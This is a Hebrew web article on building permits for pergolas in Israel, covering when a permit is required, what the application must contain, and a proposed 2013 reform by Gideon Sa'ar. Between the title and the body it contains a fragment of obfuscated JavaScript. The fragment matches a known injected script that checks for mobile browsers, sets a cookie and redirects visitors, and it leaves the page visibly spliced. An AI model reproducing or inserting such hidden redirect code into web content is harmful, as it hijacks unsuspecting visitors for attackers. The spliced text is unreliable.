היתר בניה לפרגולה – מהו ומדוע פרגולה צריכה היתר?

\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

נכון להיום, ועד שתיקוני החקיקה שהגיש השר גדעון סער בנושא תכנון ובניה יכנסו לתוקף, בנייתה של פרגולה צריכה היתר בניה.

למי מאיתנו שלא ביקש מעולם היתר בניה ושזו הפעם הראשונה שבה הוא מבקש היתר שכזה, היתר בנייה הוא רישיון שניתן על ידי אחד מהגורמים הבאים: רשות הרישוי או הועדה המקומית לתכנון ולבנייה.

האישור ניתן על פי החוק לתכנון ובנייה, והוא צריך להתאים לזכויות הבניה שניתנו לפי התוכנית. אל היתר הבניה יש לצרף את תוכניות המבנה, מפת מדידה ואת אישורם של כל הגופים והרשויות המוסמכים כגון: פיקוד העורף, כיבוי אש ועוד. בנוסף, יש לצרף להיתר את הפרטים של האחראיים לתכנון המבנה, לבניה שלו ולפיקוח על הבניה.

מאחר ולא תמיד יש צורך בהיתר בניה, כדאי לדעת כי ההיתר נדרש במספר מצבים, בין היתר במקרים הבאים:

• בכל מקרה בו מקימים בניין חדש או הורסים בניין קיים ומקימים אותו מחדש.
• בכל מקרה בו נדרשת תוספת לבניין קיים – משמע, גם במקרים בהם האזרח מעוניין לסגור מרפסת קיימת, לבנות פרגולה או סוכך במרפסת, לקרות חניה ועוד…
• בכל מקרה בו עושים שינוי בקירות חיצוניים. אם עושים שינוי בקירות פנימיים אין צורך בהיתר אלא אם כן השינוי הפנימי ישנה את השטח של הדירה או יפגע בצורה כלשהיא ברכוש המשותף של דיירי הבניין כמו שלד הבניין, הצנרת ועוד – אז יש צורך באישור.
• בכל מקרה בו מקימים או מניחים מבנה זמני כמו קראוון עבור משרד מכירות, מכולה ועוד..

מאחר וקבלת ההיתר לוקחת זמן, מומלץ להכיר את הנוהל לקבלת היתר ולהימנע ככל האפשר מסחבת מיותרת. את הבקשה להיתר צריך להגיש בחמישה עותקים. קיימים מספר בעלי מקצוע הרשאים על פי החוק לערוך את הבקשה על פי הנושא שלה: אדריכל, מהנדס מבנים, הנדסאי אדריכלות או הנדסאי בניין.

הבקשה להיתר צריכה לכלול בין היתר, את טופס הבקשה להיתר ונספחים כמו נסח טאבו, כתובת מלאה של הנכס בו רוצים לערוך את השינוי, ואת מהות הבקשה – עבור מה נדרש ההיתר.

מאחר ותהליך הבקשה להיתר הבניה עלול להימשך זמן רב – לעיתים אפילו מעל שנה – הוחלט כי במקרים של הקמת פרגולה, לדוגמה,יש לבקש בקשה הנקראת "בקשה מצומצמת". יחד עם זאת, מי שהגיש בעבר בקשה מצומצמת לבניית פרגולה יודע שקבלת ההיתר יכולה לקחת לעיתים מעל חצי שנה. לכן, תיקוני החקיקה שהפיץ בחודש יוני של 2013 השר גדעון סער יכולים להקל משמעותית על קבלת ההיתרים השונים.

השר סער מתייחס לעובדה כי כיום קבלת היתר הבניה לוקח הרבה זמן וכוללת הרבה בירוקרטיה. בשורה התחתונה, המטרה שלו היא לייעל את השירות הניתן במדינה לאזרח. לכן סער מדבר על שלושה מסלולים: פטור מהיתר, הליך מקוצר והליך רגיל. בכוונתו של סער לאפשר לאזרחים המבקשים לבנות פרגולה בחצר לעשות זאת במסלול פטור מהיתר ובכך לייעל את התהליכים במדינה.

לסיכום, יתכן והרפורמה המבורכת של סער תיצור הקלה בעומס התיקים השוכבים ברשויות וממתינים לקבלת היתרי בניה שונים. יתכן ובעוד מספר חודשים החלום שלכם על פרגולה יהיה כבר ממש קרוב…

כך אנחנו מקווים.